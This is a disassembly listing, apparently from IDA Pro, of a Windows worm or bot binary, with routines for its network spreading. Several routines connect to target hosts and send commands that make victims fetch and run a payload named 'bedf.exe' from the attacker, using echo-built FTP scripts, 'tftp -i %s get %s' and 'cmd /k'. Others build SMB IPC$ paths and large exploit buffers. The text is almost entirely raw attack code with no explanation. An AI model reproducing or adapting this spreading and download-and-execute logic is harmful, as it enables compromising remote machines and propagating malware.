		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_4163D7
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4916AC	; send
		cmp	eax, esi
		jz	short loc_4023AF
		xor	bl, bl
		jmp	short loc_4023B1
; ---------------------------------------------------------------------------


loc_4023AF:				; CODE XREF: sub_40232A+7Fj
		mov	bl, 1


loc_4023B1:				; CODE XREF: sub_40232A+83j
		push	edi
		call	sub_415D6C
		pop	ecx


loc_4023B8:				; CODE XREF: sub_40232A+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_401050
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_401050
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40232A	endp

; ---------------------------------------------------------------------------
		db 2Eh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402413	proc near		; CODE XREF: sub_4011B8j

var_624		= byte ptr -624h
var_424		= byte ptr -424h
var_423		= byte ptr -423h
var_395		= byte ptr -395h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_BB		= byte ptr  0C3h

		push	ebp
		mov	ebp, esp
		sub	esp, 624h
		and	[ebp+var_424], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_423]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_424]
		push	offset dword_42A02C
		push	eax
		call	sub_415960
		add	esp, 0Ch
		mov	eax, offset aBedf_exe ;	"bedf.exe"
		push	eax
		push	eax
		push	dword_43DB94
		push	[ebp+arg_0]
		call	sub_401299
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp+var_395]
		push	400h
		push	eax
		call	sub_4163D7
		add	eax, 90h
		push	eax
		lea	eax, [ebp+var_424]
		push	eax
		push	164h
		lea	eax, [ebp+var_24]
		push	offset aSvwfbA	; "SVWf"
		push	eax
		call	sub_40123F
		mov	ecx, [eax]
		xor	esi, esi
		mov	[ebp+var_8], ecx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_4024B9
		xor	eax, eax
		jmp	loc_40261D
; ---------------------------------------------------------------------------


loc_4024B9:				; CODE XREF: sub_402413+9Dj
		mov	[ebp+var_C], esi


loc_4024BC:				; CODE XREF: sub_402413+1A9j
		test	esi, esi
		jnz	loc_4025C2
		push	6
		push	1
		push	2
		call	ds:dword_49553C	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4025AA
		xor	eax, eax
		lea	edi, [ebp+var_1A]
		stosd
		push	[ebp+arg_A0]
		stosd
		stosd
		stosw
		mov	[ebp+var_1C], 2
		call	dword_49165C	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_49169C	; inet_addr
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	ebx
		call	dword_491604	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40259F
		cmp	[ebp+arg_A0], 50h
		jnz	short loc_402567
		mov	al, [ebp+arg_BB]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp+var_20], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_401050
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		mov	ecx, esi
		call	sub_4010F0
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_4012CB
		add	esp, 1Ch
		jmp	short loc_40259C
; ---------------------------------------------------------------------------


loc_402567:				; CODE XREF: sub_402413+112j
		cmp	[ebp+arg_A0], 8Bh
		jnz	short loc_402581
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_40119F
		jmp	short loc_402599
; ---------------------------------------------------------------------------


loc_402581:				; CODE XREF: sub_402413+15Ej
		cmp	[ebp+arg_A0], 1BDh
		jnz	short loc_40259F
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_40109B


loc_402599:				; CODE XREF: sub_402413+16Cj
		add	esp, 0Ch


loc_40259C:				; CODE XREF: sub_402413+152j
		movzx	esi, al


loc_40259F:				; CODE XREF: sub_402413+105j
					; sub_402413+178j
		push	ebx
		call	dword_4916F4	; closesocket
		test	esi, esi
		jnz	short loc_4025B5


loc_4025AA:				; CODE XREF: sub_402413+C2j
		push	3E8h
		call	ds:dword_495324	; Sleep


loc_4025B5:				; CODE XREF: sub_402413+195j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 2
		jl	loc_4024BC


loc_4025C2:				; CODE XREF: sub_402413+ABj
		lea	ecx, [ebp+var_8]
		call	sub_401159
		test	esi, esi
		jz	short loc_40261B
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_A8]
		imul	eax, 3Ch
		add	eax, offset aAsn1http ;	"asn1http"
		push	eax
		push	offset aSS_	; "%s//	%s."
		lea	eax, [ebp+var_624]
		push	200h
		push	eax
		call	sub_4163D7
		lea	eax, [ebp+var_624]
		push	eax
		call	sub_401014
		mov	eax, [ebp+arg_A8]
		add	esp, 18h
		imul	eax, 3Ch
		inc	dword_42AF30[eax]
		lea	eax, dword_42AF30[eax]


loc_40261B:				; CODE XREF: sub_402413+1B9j
		mov	eax, esi


loc_40261D:				; CODE XREF: sub_402413+A1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402413	endp

; ---------------------------------------------------------------------------
		db 83h dup(0CCh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425084


loc_4026A5:				; CODE XREF: sub_425084:loc_401249j
		push	1
		call	sub_401050
		retn
; END OF FUNCTION CHUNK	FOR sub_425084
; ---------------------------------------------------------------------------
		db 2 dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4026AF	proc near		; CODE XREF: sub_40130Cj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, ds:dword_427084
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_4026C9
		call	sub_415573


loc_4026C9:				; CODE XREF: sub_4026AF+13j
		test	ebx, ebx
		jbe	short loc_402700
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_401348
		test	al, al
		jz	short loc_402700
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_415CA0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_402700:				; CODE XREF: sub_4026AF+1Cj
					; sub_4026AF+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4026AF	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40271E	proc near		; CODE XREF: sub_401307j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, ds:dword_427084
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_402738
		call	sub_415573


loc_402738:				; CODE XREF: sub_40271E+13j
		test	ebx, ebx
		jbe	short loc_40276D
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_401348
		test	al, al
		jz	short loc_40276D
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_415960
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40276D:				; CODE XREF: sub_40271E+1Cj
					; sub_40271E+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40271E	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40278A	proc near		; CODE XREF: sub_401258j

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_4027A2
		call	sub_41579F


loc_4027A2:				; CODE XREF: sub_40278A+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_4027B4
		mov	esi, [ebp+arg_8]


loc_4027B4:				; CODE XREF: sub_40278A+25j
		cmp	edi, ebx
		jnz	short loc_4027D6
		push	ds:dword_427084
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40115E
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40115E
		jmp	short loc_40284F
; ---------------------------------------------------------------------------


loc_4027D6:				; CODE XREF: sub_40278A+2Cj
		test	esi, esi
		jbe	short loc_402819
		cmp	esi, eax
		jnz	short loc_402819
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_4027EA
		mov	eax, offset dword_427094


loc_4027EA:				; CODE XREF: sub_40278A+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_402819
		push	1
		mov	ecx, edi
		call	sub_401050
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_402805
		mov	eax, offset dword_427094


loc_402805:				; CODE XREF: sub_40278A+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40284F
; ---------------------------------------------------------------------------


loc_402819:				; CODE XREF: sub_40278A+4Ej
					; sub_40278A+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_401348
		test	al, al
		jz	short loc_40284F
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_402833
		mov	eax, offset dword_427094


loc_402833:				; CODE XREF: sub_40278A+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_415960
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40284F:				; CODE XREF: sub_40278A+4Aj
					; sub_40278A+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40278A	endp

; ---------------------------------------------------------------------------
		db 33h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40288B	proc near		; CODE XREF: sub_401348j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40289D
		call	sub_415573


loc_40289D:				; CODE XREF: sub_40288B+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_4028C6
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_4028C6
		cmp	al, 0FFh
		jz	short loc_4028C6
		cmp	edi, edx
		jnz	short loc_402901
		dec	al
		push	edx
		mov	[ecx-1], al


loc_4028BB:				; CODE XREF: sub_40288B+47j
		mov	ecx, esi
		call	sub_401050


loc_4028C2:				; CODE XREF: sub_40288B+4Bj
					; sub_40288B+52j
		xor	al, al
		jmp	short loc_40290B
; ---------------------------------------------------------------------------


loc_4028C6:				; CODE XREF: sub_40288B+19j
					; sub_40288B+20j ...
		cmp	edi, edx
		jnz	short loc_4028DF
		cmp	[esp+8+arg_4], dl
		jz	short loc_4028D4
		push	1
		jmp	short loc_4028BB
; ---------------------------------------------------------------------------


loc_4028D4:				; CODE XREF: sub_40288B+43j
		cmp	ecx, edx
		jz	short loc_4028C2
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_4028C2
; ---------------------------------------------------------------------------


loc_4028DF:				; CODE XREF: sub_40288B+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_4028FC
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_4028F1
		cmp	eax, edi
		jnb	short loc_402909


loc_4028F1:				; CODE XREF: sub_40288B+60j
		push	1
		mov	ecx, esi
		call	sub_401050
		jmp	short loc_402901
; ---------------------------------------------------------------------------


loc_4028FC:				; CODE XREF: sub_40288B+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_402909


loc_402901:				; CODE XREF: sub_40288B+28j
					; sub_40288B+6Fj
		push	edi
		mov	ecx, esi
		call	sub_401208


loc_402909:				; CODE XREF: sub_40288B+64j
					; sub_40288B+74j
		mov	al, 1


loc_40290B:				; CODE XREF: sub_40288B+39j
		pop	edi
		pop	esi
		retn	8
sub_40288B	endp

; ---------------------------------------------------------------------------
		db 21h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_402931	proc near		; CODE XREF: sub_401050j

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40295D
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40295D
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_402956
		cmp	al, 0FFh
		jz	short loc_402956
		dec	al
		mov	[ecx], al
		jmp	short loc_40295D
; ---------------------------------------------------------------------------


loc_402956:				; CODE XREF: sub_402931+19j
					; sub_402931+1Dj
		push	ecx
		call	sub_4158CA
		pop	ecx


loc_40295D:				; CODE XREF: sub_402931+8j
					; sub_402931+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_402931	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40297C	proc near		; CODE XREF: sub_4010F0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_401348
		test	al, al
		jz	short loc_4029AA
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_415960
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_4029AA:				; CODE XREF: sub_40297C+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40297C	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4029BE	proc near		; CODE XREF: sub_40115Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_4029D1
		call	sub_41579F


loc_4029D1:				; CODE XREF: sub_4029BE+Cj
		mov	ecx, edi
		call	sub_4012E4
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_4029E7
		mov	ebx, eax


loc_4029E7:				; CODE XREF: sub_4029BE+25j
		test	ebx, ebx
		jbe	short loc_402A1D
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_416430
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_401348
		test	al, al
		jz	short loc_402A1D
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_402A1D:				; CODE XREF: sub_4029BE+2Bj
					; sub_4029BE+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4029BE	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_402A3E	proc near		; CODE XREF: sub_401208j
		mov	eax, offset loc_4250D8
		call	sub_4163B8
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_402A64
		mov	edi, [ebp+8]


loc_402A64:				; CODE XREF: sub_402A3E+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_402A71
		xor	eax, eax


loc_402A71:				; CODE XREF: sub_402A3E+2Fj
		push	eax
		call	sub_416765
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_402AA2
; ---------------------------------------------------------------------------


loc_402A7D:				; DATA XREF: .rdata:004281D4o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_402A8C
		xor	eax, eax


loc_402A8C:				; CODE XREF: sub_402A3E+4Aj
		push	eax
		call	sub_416765
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_402A9C
		retn
; ---------------------------------------------------------------------------


loc_402A9C:				; DATA XREF: sub_402A3E+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_402AA2:				; CODE XREF: sub_402A3E+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_402AC0
		cmp	eax, edi
		jbe	short loc_402AAF
		mov	eax, edi


loc_402AAF:				; CODE XREF: sub_402A3E+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_415960
		add	esp, 0Ch


loc_402AC0:				; CODE XREF: sub_402A3E+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_401050
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_402AE0
		mov	edi, ebx


loc_402AE0:				; CODE XREF: sub_402A3E+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_402A3E	endp

; ---------------------------------------------------------------------------
		db 2Fh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_402B2A	proc near		; CODE XREF: sub_4012E4j
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_402B57
		mov	al, [esi-1]
		test	al, al
		jz	short loc_402B57
		cmp	al, 0FFh
		jz	short loc_402B57
		push	1
		call	sub_401050
		push	esi
		call	sub_4158E0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_4010F0


loc_402B57:				; CODE XREF: sub_402B2A+9j
					; sub_402B2A+10j ...
		pop	edi
		pop	esi
		retn
sub_402B2A	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_402B66	proc near		; DATA XREF: .data:00429104o
		test	byte_492ADC, 1
		jnz	short loc_402B76
		or	byte_492ADC, 1


loc_402B76:				; CODE XREF: sub_402B66+7j
		jmp	loc_402B80
; ---------------------------------------------------------------------------
		align 10h


loc_402B80:				; CODE XREF: sub_402B66:loc_402B76j
		push	offset j_nullsub_1
		call	sub_4167E0
		pop	ecx
		retn
sub_402B66	endp

; ---------------------------------------------------------------------------
		db 3 dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B90	proc near		; CODE XREF: sub_4010B4j

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_415CA0
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_49169C	; inet_addr
		mov	[ebp+var_C], eax
		mov	ax, word_42AB18
		push	eax
		call	dword_49165C	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_4916DC	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_402CC8
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_491604	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_402CC8
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_491674	; recv
		mov	edi, offset aBedf_exe ;	"bedf.exe"
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	sub_401299
		pop	ecx
		mov	esi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_4163D7
		add	esp, 18h
		push	dword_43DB94
		push	[ebp+arg_0]
		call	sub_401299
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_4163D7
		add	esp, 14h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4916AC	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402CC8
		push	1F4h
		call	ds:dword_495324	; Sleep
		push	edi
		push	offset aS	; "%s\r\n"
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_4163D7
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4916AC	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402CCC


loc_402CC8:				; CODE XREF: sub_402B90+51j
					; sub_402B90+67j ...
		xor	al, al
		jmp	short loc_402CEA
; ---------------------------------------------------------------------------


loc_402CCC:				; CODE XREF: sub_402B90+136j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_491674	; recv
		push	ebx
		call	dword_4916F4	; closesocket
		mov	al, 1


loc_402CEA:				; CODE XREF: sub_402B90+13Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402B90	endp

; ---------------------------------------------------------------------------
		db 57h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402D46	proc near		; CODE XREF: sub_40119Aj

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_416880
		mov	eax, dword_42AEBC
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_42AEC0
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	eax
		call	sub_416821
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]


loc_402D85:				; CODE XREF: sub_402D46+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_402D85
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_42A728
		push	eax
		call	sub_415960
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_4158E0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_415960
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC_1+3)
		push	eax
		call	sub_4158E0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_415960
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_4158E0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_415960
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_4158E0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_415960
		mov	ax, word_42AB18
		add	esp, 2Ch
		push	eax
		call	dword_49165C	; htons
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_42A428
		call	sub_415960
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_402F42
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_415CA0
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_42AB58[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_415960
		mov	esi, offset dword_42A378
		push	esi
		call	sub_4158E0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_415960
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset dword_42AEA8
		push	eax
		call	sub_415960
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_415960
		add	esp, 40h
		push	esi
		call	sub_4158E0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_415960
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]


loc_402EFB:				; CODE XREF: sub_402D46+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_402EFB
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_415CA0
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_415CA0
		add	esp, 18h
		jmp	short loc_402F99
; ---------------------------------------------------------------------------


loc_402F42:				; CODE XREF: sub_402D46+118j
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_415CA0
		mov	esi, offset dword_42A378
		push	esi
		call	sub_4158E0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_415960
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4158E0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_415960
		mov	eax, dword_42AB58
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_402F99:				; CODE XREF: sub_402D46+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_415CA0
